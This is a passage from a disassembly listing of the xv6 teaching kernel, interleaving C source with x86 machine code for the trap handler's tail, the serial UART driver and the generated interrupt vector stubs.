80106a15: 85 c0 test %eax,%eax
80106a17: 74 16 je 80106a2f <trap+0x20a>
80106a19: 8b 45 08 mov 0x8(%ebp),%eax
80106a1c: 8b 40 3c mov 0x3c(%eax),%eax
80106a1f: 0f b7 c0 movzwl %ax,%eax
80106a22: 83 e0 03 and $0x3,%eax
80106a25: 83 f8 03 cmp $0x3,%eax
80106a28: 75 05 jne 80106a2f <trap+0x20a>
exit();
80106a2a: e8 3f dd ff ff call 8010476e <exit>
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80106a2f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106a35: 85 c0 test %eax,%eax
80106a37: 74 1e je 80106a57 <trap+0x232>
80106a39: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106a3f: 8b 40 0c mov 0xc(%eax),%eax
80106a42: 83 f8 04 cmp $0x4,%eax
80106a45: 75 10 jne 80106a57 <trap+0x232>
80106a47: 8b 45 08 mov 0x8(%ebp),%eax
80106a4a: 8b 40 30 mov 0x30(%eax),%eax
80106a4d: 83 f8 20 cmp $0x20,%eax
80106a50: 75 05 jne 80106a57 <trap+0x232>
yield();
80106a52: e8 8e e0 ff ff call 80104ae5 <yield>
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80106a57: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106a5d: 85 c0 test %eax,%eax
80106a5f: 74 23 je 80106a84 <trap+0x25f>
80106a61: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106a67: 8b 40 24 mov 0x24(%eax),%eax
80106a6a: 85 c0 test %eax,%eax
80106a6c: 74 16 je 80106a84 <trap+0x25f>
80106a6e: 8b 45 08 mov 0x8(%ebp),%eax
80106a71: 8b 40 3c mov 0x3c(%eax),%eax
80106a74: 0f b7 c0 movzwl %ax,%eax
80106a77: 83 e0 03 and $0x3,%eax
80106a7a: 83 f8 03 cmp $0x3,%eax
80106a7d: 75 05 jne 80106a84 <trap+0x25f>
exit();
80106a7f: e8 ea dc ff ff call 8010476e <exit>
}
80106a84: 83 c4 3c add $0x3c,%esp
80106a87: 5b pop %ebx
80106a88: 5e pop %esi
80106a89: 5f pop %edi
80106a8a: 5d pop %ebp
80106a8b: c3 ret
80106a8c <inb>:
// Routines to let C code use special x86 instructions.
static inline uchar
inb(ushort port)
{
80106a8c: 55 push %ebp
80106a8d: 89 e5 mov %esp,%ebp
80106a8f: 83 ec 14 sub $0x14,%esp
80106a92: 8b 45 08 mov 0x8(%ebp),%eax
80106a95: 66 89 45 ec mov %ax,-0x14(%ebp)
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80106a99: 8b 45 ec mov -0x14(%ebp),%eax
80106a9c: 89 c2 mov %eax,%edx
80106a9e: ec in (%dx),%al
80106a9f: 88 45 ff mov %al,-0x1(%ebp)
return data;
80106aa2: 8a 45 ff mov -0x1(%ebp),%al
}
80106aa5: c9 leave
80106aa6: c3 ret
80106aa7 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80106aa7: 55 push %ebp
80106aa8: 89 e5 mov %esp,%ebp
80106aaa: 83 ec 08 sub $0x8,%esp
80106aad: 8b 45 08 mov 0x8(%ebp),%eax
80106ab0: 8b 55 0c mov 0xc(%ebp),%edx
80106ab3: 66 89 45 fc mov %ax,-0x4(%ebp)
80106ab7: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80106aba: 8a 45 f8 mov -0x8(%ebp),%al
80106abd: 8b 55 fc mov -0x4(%ebp),%edx
80106ac0: ee out %al,(%dx)
}
80106ac1: c9 leave
80106ac2: c3 ret
80106ac3 <uartinit>:
static int uart; // is there a uart?
void
uartinit(void)
{
80106ac3: 55 push %ebp
80106ac4: 89 e5 mov %esp,%ebp
80106ac6: 83 ec 28 sub $0x28,%esp
char *p;
// Turn off the FIFO
outb(COM1+2, 0);
80106ac9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106ad0: 00
80106ad1: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
80106ad8: e8 ca ff ff ff call 80106aa7 <outb>
// 9600 baud, 8 data bits, 1 stop bit, parity off.
outb(COM1+3, 0x80); // Unlock divisor
80106add: c7 44 24 04 80 00 00 movl $0x80,0x4(%esp)
80106ae4: 00
80106ae5: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
80106aec: e8 b6 ff ff ff call 80106aa7 <outb>
outb(COM1+0, 115200/9600);
80106af1: c7 44 24 04 0c 00 00 movl $0xc,0x4(%esp)
80106af8: 00
80106af9: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106b00: e8 a2 ff ff ff call 80106aa7 <outb>
outb(COM1+1, 0);
80106b05: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106b0c: 00
80106b0d: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
80106b14: e8 8e ff ff ff call 80106aa7 <outb>
outb(COM1+3, 0x03); // Lock divisor, 8 data bits.
80106b19: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80106b20: 00
80106b21: c7 04 24 fb 03 00 00 movl $0x3fb,(%esp)
80106b28: e8 7a ff ff ff call 80106aa7 <outb>
outb(COM1+4, 0);
80106b2d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106b34: 00
80106b35: c7 04 24 fc 03 00 00 movl $0x3fc,(%esp)
80106b3c: e8 66 ff ff ff call 80106aa7 <outb>
outb(COM1+1, 0x01); // Enable receive interrupts.
80106b41: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80106b48: 00
80106b49: c7 04 24 f9 03 00 00 movl $0x3f9,(%esp)
80106b50: e8 52 ff ff ff call 80106aa7 <outb>
// If status is 0xFF, no serial port.
if(inb(COM1+5) == 0xFF)
80106b55: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80106b5c: e8 2b ff ff ff call 80106a8c <inb>
80106b61: 3c ff cmp $0xff,%al
80106b63: 75 02 jne 80106b67 <uartinit+0xa4>
return;
80106b65: eb 67 jmp 80106bce <uartinit+0x10b>
uart = 1;
80106b67: c7 05 68 b6 10 80 01 movl $0x1,0x8010b668
80106b6e: 00 00 00
// Acknowledge pre-existing interrupt conditions;
// enable interrupts.
inb(COM1+2);
80106b71: c7 04 24 fa 03 00 00 movl $0x3fa,(%esp)
80106b78: e8 0f ff ff ff call 80106a8c <inb>
inb(COM1+0);
80106b7d: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106b84: e8 03 ff ff ff call 80106a8c <inb>
picenable(IRQ_COM1);
80106b89: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80106b90: e8 ef d1 ff ff call 80103d84 <picenable>
ioapicenable(IRQ_COM1, 0);
80106b95: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106b9c: 00
80106b9d: c7 04 24 04 00 00 00 movl $0x4,(%esp)
80106ba4: e8 44 be ff ff call 801029ed <ioapicenable>
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80106ba9: c7 45 f4 34 8b 10 80 movl $0x80108b34,-0xc(%ebp)
80106bb0: eb 13 jmp 80106bc5 <uartinit+0x102>
uartputc(*p);
80106bb2: 8b 45 f4 mov -0xc(%ebp),%eax
80106bb5: 8a 00 mov (%eax),%al
80106bb7: 0f be c0 movsbl %al,%eax
80106bba: 89 04 24 mov %eax,(%esp)
80106bbd: e8 0e 00 00 00 call 80106bd0 <uartputc>
inb(COM1+0);
picenable(IRQ_COM1);
ioapicenable(IRQ_COM1, 0);
// Announce that we're here.
for(p="xv6...\n"; *p; p++)
80106bc2: ff 45 f4 incl -0xc(%ebp)
80106bc5: 8b 45 f4 mov -0xc(%ebp),%eax
80106bc8: 8a 00 mov (%eax),%al
80106bca: 84 c0 test %al,%al
80106bcc: 75 e4 jne 80106bb2 <uartinit+0xef>
uartputc(*p);
}
80106bce: c9 leave
80106bcf: c3 ret
80106bd0 <uartputc>:
void
uartputc(int c)
{
80106bd0: 55 push %ebp
80106bd1: 89 e5 mov %esp,%ebp
80106bd3: 83 ec 28 sub $0x28,%esp
int i;
if(!uart)
80106bd6: a1 68 b6 10 80 mov 0x8010b668,%eax
80106bdb: 85 c0 test %eax,%eax
80106bdd: 75 02 jne 80106be1 <uartputc+0x11>
return;
80106bdf: eb 4a jmp 80106c2b <uartputc+0x5b>
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80106be1: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80106be8: eb 0f jmp 80106bf9 <uartputc+0x29>
microdelay(10);
80106bea: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
80106bf1: e8 c8 c3 ff ff call 80102fbe <microdelay>
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80106bf6: ff 45 f4 incl -0xc(%ebp)
80106bf9: 83 7d f4 7f cmpl $0x7f,-0xc(%ebp)
80106bfd: 7f 16 jg 80106c15 <uartputc+0x45>
80106bff: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80106c06: e8 81 fe ff ff call 80106a8c <inb>
80106c0b: 0f b6 c0 movzbl %al,%eax
80106c0e: 83 e0 20 and $0x20,%eax
80106c11: 85 c0 test %eax,%eax
80106c13: 74 d5 je 80106bea <uartputc+0x1a>
microdelay(10);
outb(COM1+0, c);
80106c15: 8b 45 08 mov 0x8(%ebp),%eax
80106c18: 0f b6 c0 movzbl %al,%eax
80106c1b: 89 44 24 04 mov %eax,0x4(%esp)
80106c1f: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106c26: e8 7c fe ff ff call 80106aa7 <outb>
}
80106c2b: c9 leave
80106c2c: c3 ret
80106c2d <uartgetc>:
static int
uartgetc(void)
{
80106c2d: 55 push %ebp
80106c2e: 89 e5 mov %esp,%ebp
80106c30: 83 ec 04 sub $0x4,%esp
if(!uart)
80106c33: a1 68 b6 10 80 mov 0x8010b668,%eax
80106c38: 85 c0 test %eax,%eax
80106c3a: 75 07 jne 80106c43 <uartgetc+0x16>
return -1;
80106c3c: b8 ff ff ff ff mov $0xffffffff,%eax
80106c41: eb 2c jmp 80106c6f <uartgetc+0x42>
if(!(inb(COM1+5) & 0x01))
80106c43: c7 04 24 fd 03 00 00 movl $0x3fd,(%esp)
80106c4a: e8 3d fe ff ff call 80106a8c <inb>
80106c4f: 0f b6 c0 movzbl %al,%eax
80106c52: 83 e0 01 and $0x1,%eax
80106c55: 85 c0 test %eax,%eax
80106c57: 75 07 jne 80106c60 <uartgetc+0x33>
return -1;
80106c59: b8 ff ff ff ff mov $0xffffffff,%eax
80106c5e: eb 0f jmp 80106c6f <uartgetc+0x42>
return inb(COM1+0);
80106c60: c7 04 24 f8 03 00 00 movl $0x3f8,(%esp)
80106c67: e8 20 fe ff ff call 80106a8c <inb>
80106c6c: 0f b6 c0 movzbl %al,%eax
}
80106c6f: c9 leave
80106c70: c3 ret
80106c71 <uartintr>:
void
uartintr(void)
{
80106c71: 55 push %ebp
80106c72: 89 e5 mov %esp,%ebp
80106c74: 83 ec 18 sub $0x18,%esp
consoleintr(uartgetc);
80106c77: c7 04 24 2d 6c 10 80 movl $0x80106c2d,(%esp)
80106c7e: e8 48 9b ff ff call 801007cb <consoleintr>
}
80106c83: c9 leave
80106c84: c3 ret
80106c85: 00 00 add %al,(%eax)
...
80106c88 <vector0>:
# generated by vectors.pl - do not edit
# handlers
.globl alltraps
.globl vector0
vector0:
pushl $0
80106c88: 6a 00 push $0x0
pushl $0
80106c8a: 6a 00 push $0x0
jmp alltraps
80106c8c: e9 b7 f9 ff ff jmp 80106648 <alltraps>
80106c91 <vector1>:
.globl vector1
vector1:
pushl $0
80106c91: 6a 00 push $0x0
pushl $1
80106c93: 6a 01 push $0x1
jmp alltraps
80106c95: e9 ae f9 ff ff jmp 80106648 <alltraps>
80106c9a <vector2>:
.globl vector2
vector2:
pushl $0
80106c9a: 6a 00 push $0x0
pushl $2
80106c9c: 6a 02 push $0x2
jmp alltraps
80106c9e: e9 a5 f9 ff ff jmp 80106648 <alltraps>
80106ca3 <vector3>:
.globl vector3
vector3:
pushl $0
80106ca3: 6a 00 push $0x0
pushl $3
80106ca5: 6a 03 push $0x3
jmp alltraps
80106ca7: e9 9c f9 ff ff jmp 80106648 <alltraps>
80106cac <vector4>:
.globl vector4
vector4:
pushl $0
80106cac: 6a 00 push $0x0
pushl $4
80106cae: 6a 04 push $0x4
jmp alltraps
80106cb0: e9 93 f9 ff ff jmp 80106648 <alltraps>
80106cb5 <vector5>:
.globl vector5
vector5:
pushl $0
80106cb5: 6a 00 push $0x0
pushl $5
80106cb7: 6a 05 push $0x5
jmp alltraps
80106cb9: e9 8a f9 ff ff jmp 80106648 <alltraps>
80106cbe <vector6>:
.globl vector6
vector6:
pushl $0
80106cbe: 6a 00 push $0x0
pushl $6
80106cc0: 6a 06 push $0x6
jmp alltraps
80106cc2: e9 81 f9 ff ff jmp 80106648 <alltraps>
80106cc7 <vector7>:
.globl vector7
vector7:
pushl $0
80106cc7: 6a 00 push $0x0
pushl $7
80106cc9: 6a 07 push $0x7
jmp alltraps
80106ccb: e9 78 f9 ff ff jmp 80106648 <alltraps>
80106cd0 <vector8>:
.globl vector8
vector8:
pushl $8
80106cd0: 6a 08 push $0x8
jmp alltraps
80106cd2: e9 71 f9 ff ff jmp 80106648 <alltraps>
80106cd7 <vector9>:
.globl vector9
vector9:
pushl $0
80106cd7: 6a 00 push $0x0
pushl $9
80106cd9: 6a 09 push $0x9
jmp alltraps
80106cdb: e9 68 f9 ff ff jmp 80106648 <alltraps>
80106ce0 <vector10>:
.globl vector10
vector10:
pushl $10
80106ce0: 6a 0a push $0xa
jmp alltraps
80106ce2: e9 61 f9 ff ff jmp 80106648 <alltraps>
80106ce7 <vector11>:
.globl vector11
vector11:
pushl $11
80106ce7: 6a 0b push $0xb
jmp alltraps
80106ce9: e9 5a f9 ff ff jmp 80106648 <alltraps>
80106cee <vector12>:
.globl vector12
vector12:
pushl $12
80106cee: 6a 0c push $0xc
jmp alltraps
80106cf0: e9 53 f9 ff ff jmp 80106648 <alltraps>
80106cf5 <vector13>:
.globl vector13
vector13:
pushl $13
80106cf5: 6a 0d push $0xd
jmp alltraps
80106cf7: e9 4c f9 ff ff jmp 80106648 <alltraps>
80106cfc <vector14>:
.globl vector14
vector14:
pushl $14
80106cfc: 6a 0e push $0xe
jmp alltraps
80106cfe: e9 45 f9 ff ff jmp 80106648 <alltraps>
80106d03 <vector15>:
.globl vector15
vector15:
pushl $0
80106d03: 6a 00 push $0x0
pushl $15
80106d05: 6a 0f push $0xf
jmp alltraps
80106d07: e9 3c f9 ff ff jmp 80106648 <alltraps>
80106d0c <vector16>:
.globl vector16
vector16:
pushl $0
80106d0c: 6a 00 push $0x0
pushl $16
80106d0e: 6a 10 push $0x10
jmp alltraps
80106d10: e9 33 f9 ff ff jmp 80106648 <alltraps>
80106d15 <vector17>:
.globl vector17
vector17:
pushl $17
80106d15: 6a 11 push $0x11
jmp alltraps
80106d17: e9 2c f9 ff ff jmp 80106648 <alltraps>
80106d1c <vector18>:
.globl vector18
vector18:
pushl $0
80106d1c: 6a 00 push $0x0
pushl $18
80106d1e: 6a 12 push $0x12
jmp alltraps
80106d20: e9 23 f9 ff ff jmp 80106648 <alltraps>
80106d25 <vector19>:
.globl vector19
vector19:
pushl $0
80106d25: 6a 00 push $0x0
pushl $19
80106d27: 6a 13 push $0x13
jmp alltraps
80106d29: e9 1a f9 ff ff jmp 80106648 <alltraps>
80106d2e <vector20>:
.globl vector20
vector20:
pushl $0
80106d2e: 6a 00 push $0x0
pushl $20
80106d30: 6a 14 push $0x14
jmp alltraps
80106d32: e9 11 f9 ff ff jmp 80106648 <alltraps>
80106d37 <vector21>:
.globl vector21
vector21:
pushl $0
80106d37: 6a 00 push $0x0
pushl $21
80106d39: 6a 15 push $0x15
jmp alltraps
80106d3b: e9 08 f9 ff ff jmp 80106648 <alltraps>
80106d40 <vector22>:
.globl vector22
vector22:
pushl $0
80106d40: 6a 00 push $0x0
pushl $22
80106d42: 6a 16 push $0x16
jmp alltraps
80106d44: e9 ff f8 ff ff jmp 80106648 <alltraps>
80106d49 <vector23>:
.globl vector23
vector23:
pushl $0
80106d49: 6a 00 push $0x0
pushl $23
80106d4b: 6a 17 push $0x17
jmp alltraps
80106d4d: e9 f6 f8 ff ff jmp 80106648 <alltraps>
80106d52 <vector24>:
.globl vector24
vector24:
pushl $0
80106d52: 6a 00 push $0x0
pushl $24
80106d54: 6a 18 push $0x18
jmp alltraps
80106d56: e9 ed f8 ff ff jmp 80106648 <alltraps>
80106d5b <vector25>:
.globl vector25
vector25:
pushl $0
80106d5b: 6a 00 push $0x0
pushl $25
80106d5d: 6a 19 push $0x19
jmp alltraps
80106d5f: e9 e4 f8 ff ff jmp 80106648 <alltraps>
80106d64 <vector26>:
.globl vector26
vector26:
pushl $0
80106d64: 6a 00 push $0x0
pushl $26
80106d66: 6a 1a push $0x1a
jmp alltraps
80106d68: e9 db f8 ff ff jmp 80106648 <alltraps>
80106d6d <vector27>:
.globl vector27
vector27:
pushl $0
80106d6d: 6a 00 push $0x0
pushl $27
80106d6f: 6a 1b push $0x1b
jmp alltraps
80106d71: e9 d2 f8 ff ff jmp 80106648 <alltraps>
80106d76 <vector28>:
.globl vector28
vector28:
pushl $0
80106d76: 6a 00 push $0x0
pushl $28
80106d78: 6a 1c push $0x1c
jmp alltraps
80106d7a: e9 c9 f8 ff ff jmp 80106648 <alltraps>
80106d7f <vector29>:
.globl vector29
vector29:
pushl $0
80106d7f: 6a 00 push $0x0
pushl $29
80106d81: 6a 1d push $0x1d
jmp alltraps
80106d83: e9 c0 f8 ff ff jmp 80106648 <alltraps>
80106d88 <vector30>:
.globl vector30
vector30:
pushl $0
80106d88: 6a 00 push $0x0
pushl $30
80106d8a: 6a 1e push $0x1e
jmp alltraps
80106d8c: e9 b7 f8 ff ff jmp 80106648 <alltraps>
80106d91 <vector31>:
.globl vector31
vector31:
pushl $0
80106d91: 6a 00 push $0x0
pushl $31
80106d93: 6a 1f push $0x1f
jmp alltraps
80106d95: e9 ae f8 ff ff jmp 80106648 <alltraps>
80106d9a <vector32>:
.globl vector32
vector32:
pushl $0
80106d9a: 6a 00 push $0x0
pushl $32
80106d9c: 6a 20 push $0x20
jmp alltraps
80106d9e: e9 a5 f8 ff ff jmp 80106648 <alltraps>
80106da3 <vector33>:
.globl vector33
vector33:
pushl $0
80106da3: 6a 00 push $0x0
pushl $33
80106da5: 6a 21 push $0x21
jmp alltraps
80106da7: e9 9c f8 ff ff jmp 80106648 <alltraps>
80106dac <vector34>:
.globl vector34
vector34:
pushl $0
80106dac: 6a 00 push $0x0
pushl $34
80106dae: 6a 22 push $0x22
jmp alltraps
80106db0: e9 93 f8 ff ff jmp 80106648 <alltraps>
80106db5 <vector35>:
.globl vector35
vector35:
pushl $0
80106db5: 6a 00 push $0x0
pushl $35
80106db7: 6a 23 push $0x23
jmp alltraps
80106db9: e9 8a f8 ff ff jmp 80106648 <alltraps>
80106dbe <vector36>:
.globl vector36
vector36:
pushl $0
80106dbe: 6a 00 push $0x0
pushl $36
80106dc0: 6a 24 push $0x24
jmp alltraps
80106dc2: e9 81 f8 ff ff jmp 80106648 <alltraps>
80106dc7 <vector37>:
.globl vector37
vector37:
pushl $0
80106dc7: 6a 00 push $0x0
pushl $37
80106dc9: 6a 25 push $0x25
jmp alltraps
80106dcb: e9 78 f8 ff ff jmp 80106648 <alltraps>
80106dd0 <vector38>:
.globl vector38
vector38:
pushl $0
80106dd0: 6a 00 push $0x0
pushl $38
80106dd2: 6a 26 push $0x26
jmp alltraps
80106dd4: e9 6f f8 ff ff jmp 80106648 <alltraps>
80106dd9 <vector39>:
.globl vector39
vector39:
pushl $0
80106dd9: 6a 00 push $0x0
pushl $39
80106ddb: 6a 27 push $0x27
jmp alltraps
80106ddd: e9 66 f8 ff ff jmp 80106648 <alltraps>
80106de2 <vector40>:
.globl vector40
vector40:
pushl $0
80106de2: 6a 00 push $0x0
pushl $40
80106de4: 6a 28 push $0x28
jmp alltraps
80106de6: e9 5d f8 ff ff jmp 80106648 <alltraps>
80106deb <vector41>:
.globl vector41
vector41:
pushl $0
80106deb: 6a 00 push $0x0
pushl $41
80106ded: 6a 29 push $0x29
jmp alltraps
80106def: e9 54 f8 ff ff jmp 80106648 <alltraps>
80106df4 <vector42>:
.globl vector42
vector42:
pushl $0
80106df4: 6a 00 push $0x0
pushl $42
80106df6: 6a 2a push $0x2a
jmp alltraps
80106df8: e9 4b f8 ff ff jmp 80106648 <alltraps>
80106dfd <vector43>:
.globl vector43
vector43:
pushl $0
80106dfd: 6a 00 push $0x0
pushl $43
80106dff: 6a 2b push $0x2b
jmp alltraps
80106e01: e9 42 f8 ff ff jmp 80106648 <alltraps>
80106e06 <vector44>:
.globl vector44
vector44:
pushl $0
80106e06: 6a 00 push $0x0
pushl $44
80106e08: 6a 2c push $0x2c
jmp alltraps
80106e0a: e9 39 f8 ff ff jmp 80106648 <alltraps>
80106e0f <vector45>:
.globl vector45
vector45:
pushl $0
80106e0f: 6a 00 push $0x0
pushl $45
80106e11: 6a 2d push $0x2d
jmp alltraps
80106e13: e9 30 f8 ff ff jmp 80106648 <alltraps>
80106e18 <vector46>:
.globl vector46
vector46:
pushl $0
80106e18: 6a 00 push $0x0
pushl $46
80106e1a: 6a 2e push $0x2e
jmp alltraps
80106e1c: e9 27 f8 ff ff jmp 80106648 <alltraps>
80106e21 <vector47>:
.globl vector47
vector47:
pushl $0
80106e21: 6a 00 push $0x0
pushl $47
80106e23: 6a 2f push $0x2f
jmp alltraps
80106e25: e9 1e f8 ff ff jmp 80106648 <alltraps>
80106e2a <vector48>:
.globl vector48
vector48:
pushl $0
80106e2a: 6a 00 push $0x0
pushl $48
80106e2c: 6a 30 push $0x30
jmp alltraps
80106e2e: e9 15 f8 ff ff jmp 80106648 <alltraps>
80106e33 <vector49>:
.globl vector49
vector49:
pushl $0
80106e33: 6a 00 push $0x0
pushl $49
80106e35: 6a 31 push $0x31
jmp alltraps
80106e37: e9 0c f8 ff ff jmp 80106648 <alltraps>
80106e3c <vector50>:
.globl vector50
vector50:
pushl $0
80106e3c: 6a 00 push $0x0
pushl $50
80106e3e: 6a 32 push $0x32
jmp alltraps
80106e40: e9 03 f8 ff ff jmp 80106648 <alltraps>
80106e45 <vector51>:
.globl vector51
vector51:
pushl $0
80106e45: 6a 00 push $0x0
pushl $51
80106e47: 6a 33 push $0x33
jmp alltraps
80106e49: e9 fa f7 ff ff jmp 80106648 <alltraps>
80106e4e <vector52>:
.globl vector52
vector52:
pushl $0
80106e4e: 6a 00 push $0x0
pushl $52
80106e50: 6a 34 push $0x34
jmp alltraps
80106e52: e9 f1 f7 ff ff jmp 80106648 <alltraps>
80106e57 <vector53>:
.globl vector53
vector53:
pushl $0
80106e57: 6a 00 push $0x0
pushl $53
80106e59: 6a 35 push $0x35
jmp alltraps
80106e5b: e9 e8 f7 ff ff jmp 80106648 <alltraps>
80106e60 <vector54>:
.globl vector54
vector54:
pushl $0
80106e60: 6a 00 push $0x0
pushl $54
80106e62: 6a 36 push $0x36
jmp alltraps
80106e64: e9 df f7 ff ff jmp 80106648 <alltraps>
80106e69 <vector55>:
.globl vector55
vector55:
pushl $0
80106e69: 6a 00 push $0x0
pushl $55
80106e6b: 6a 37 push $0x37
jmp alltraps
80106e6d: e9 d6 f7 ff ff jmp 80106648 <alltraps>
80106e72 <vector56>:
.globl vector56
vector56:
pushl $0
80106e72: 6a 00 push $0x0
pushl $56
80106e74: 6a 38 push $0x38
jmp alltraps
80106e76: e9 cd f7 ff ff jmp 80106648 <alltraps>
80106e7b <vector57>:
.globl vector57
vector57:
pushl $0
80106e7b: 6a 00 push $0x0
pushl $57
80106e7d: 6a 39 push $0x39
jmp alltraps
80106e7f: e9 c4 f7 ff ff jmp 80106648 <alltraps>
80106e84 <vector58>:
.globl vector58
vector58:
pushl $0
80106e84: 6a 00 push $0x0
pushl $58
80106e86: 6a 3a push $0x3a
jmp alltraps
80106e88: e9 bb f7 ff ff jmp 80106648 <alltraps>
80106e8d <vector59>:
.globl vector59
vector59:
pushl $0
80106e8d: 6a 00 push $0x0
pushl $59
80106e8f: 6a 3b push $0x3b
jmp alltraps
80106e91: e9 b2 f7 ff ff jmp 80106648 <alltraps>
80106e96 <vector60>:
.globl vector60
vector60:
pushl $0
80106e96: 6a 00 push $0x0
pushl $60
80106e98: 6a 3c push $0x3c
jmp alltraps
80106e9a: e9 a9 f7 ff ff jmp 80106648 <alltraps>
80106e9f <vector61>:
.globl vector61
vector61:
pushl $0
80106e9f: 6a 00 push $0x0
pushl $61
80106ea1: 6a 3d push $0x3d
jmp alltraps
80106ea3: e9 a0 f7 ff ff jmp 80106648 <alltraps>
80106ea8 <vector62>:
.globl vector62
vector62:
pushl $0
80106ea8: 6a 00 push $0x0
pushl $62
80106eaa: 6a 3e push $0x3e
jmp alltraps
80106eac: e9 97 f7 ff ff jmp 80106648 <alltraps>
80106eb1 <vector63>:
.globl vector63
vector63:
pushl $0
80106eb1: 6a 00 push $0x0
pushl $63
80106eb3: 6a 3f push $0x3f
jmp alltraps
80106eb5: e9 8e f7 ff ff jmp 80106648 <alltraps>
80106eba <vector64>:
.globl vector64
vector64:
pushl $0
80106eba: 6a 00 push $0x0
pushl $64
80106ebc: 6a 40 push $0x40
jmp alltraps
80106ebe: e9 85 f7 ff ff jmp 80106648 <alltraps>
80106ec3 <vector65>:
.globl vector65
vector65:
pushl $0
80106ec3: 6a 00 push $0x0
pushl $65
80106ec5: 6a 41 push $0x41
jmp alltraps
80106ec7: e9 7c f7 ff ff jmp 80106648 <alltraps>
80106ecc <vector66>:
.globl vector66
vector66:
pushl $0
80106ecc: 6a 00 push $0x0
pushl $66
80106ece: 6a 42 push $0x42
jmp alltraps
80106ed0: e9 73 f7 ff ff jmp 80106648 <alltraps>
80106ed5 <vector67>:
.globl vector67
vector67:
pushl $0
80106ed5: 6a 00 push $0x0
pushl $67
80106ed7: 6a 43 push $0x43
jmp alltraps
80106ed9: e9 6a f7 ff ff jmp 80106648 <alltraps>
80106ede <vector68>:
.globl vector68
vector68:
pushl $0
80106ede: 6a 00 push $0x0
pushl $68
80106ee0: 6a 44 push $0x44
jmp alltraps
80106ee2: e9 61 f7 ff ff jmp 80106648 <alltraps>
80106ee7 <vector69>:
.globl vector69
vector69:
pushl $0
80106ee7: 6a 00 push $0x0
pushl $69
80106ee9: 6a 45 push $0x45
jmp alltraps
80106eeb: e9 58 f7 ff ff jmp 80106648 <alltraps>
80106ef0 <vector70>:
.globl vector70
vector70:
pushl $0
80106ef0: 6a 00 push $0x0
pushl $70
80106ef2: 6a 46 push $0x46
jmp alltraps
80106ef4: e9 4f f7 ff ff jmp 80106648 <alltraps>
80106ef9 <vector71>:
.globl vector71
vector71:
pushl $0
80106ef9: 6a 00 push $0x0
pushl $71
80106efb: 6a 47 push $0x47
jmp alltraps
80106efd: e9 46 f7 ff ff jmp 80106648 <alltraps>
80106f02 <vector72>:
.globl vector72
vector72:
pushl $0
80106f02: 6a 00 push $0x0
pushl $72
80106f04: 6a 48 push $0x48
jmp alltraps
80106f06: e9 3d f7 ff ff jmp 80106648 <alltraps>
80106f0b <vector73>:
.globl vector73
vector73:
pushl $0
80106f0b: 6a 00 push $0x0
pushl $73
80106f0d: 6a 49 push $0x49
jmp alltraps
80106f0f: e9 34 f7 ff ff jmp 80106648 <alltraps>
80106f14 <vector74>:
.globl vector74
vector74:
pushl $0
80106f14: 6a 00 push $0x0
pushl $74
80106f16: 6a 4a push $0x4a
jmp alltraps
80106f18: e9 2b f7 ff ff jmp 80106648 <alltraps>
80106f1d <vector75>:
.globl vector75
vector75:
pushl $0
80106f1d: 6a 00 push $0x0
pushl $75
80106f1f: 6a 4b push $0x4b
jmp alltraps
80106f21: e9 22 f7 ff ff jmp 80106648 <alltraps>
80106f26 <vector76>:
.globl vector76
vector76:
pushl $0
80106f26: 6a 00 push $0x0
pushl $76
80106f28: 6a 4c push $0x4c
jmp alltraps
80106f2a: e9 19 f7 ff ff jmp 80106648 <alltraps>
80106f2f <vector77>:
.globl vector77
vector77:
pushl $0
80106f2f: 6a 00 push $0x0
pushl $77
80106f31: 6a 4d push $0x4d
jmp alltraps
80106f33: e9 10 f7 ff ff jmp 80106648 <alltraps>
80106f38 <vector78>:
.globl vector78
vector78:
pushl $0
80106f38: 6a 00 push $0x0
pushl $78
80106f3a: 6a 4e push $0x4e
jmp alltraps
80106f3c: e9 07 f7 ff ff jmp 80106648 <alltraps>
80106f41 <vector79>:
.globl vector79
vector79:
pushl $0
80106f41: 6a 00 push $0x0
pushl $79
80106f43: 6a 4f push $0x4f
jmp alltraps
80106f45: e9 fe f6 ff ff jmp 80106648 <alltraps>
80106f4a <vector80>:
.globl vector80
vector80:
pushl $0
80106f4a: 6a 00 push $0x0
pushl $80
80106f4c: 6a 50 push $0x50
jmp alltraps
80106f4e: e9 f5 f6 ff ff jmp 80106648 <alltraps>
80106f53 <vector81>:
.globl vector81
vector81:
pushl $0
80106f53: 6a 00 push $0x0
pushl $81
80106f55: 6a 51 push $0x51
jmp alltraps
80106f57: e9 ec f6 ff ff jmp 80106648 <alltraps>
80106f5c <vector82>:
.globl vector82
vector82:
pushl $0
80106f5c: 6a 00 push $0x0
pushl $82
80106f5e: 6a 52 push $0x52
jmp alltraps
80106f60: e9 e3 f6 ff ff jmp 80106648 <alltraps>
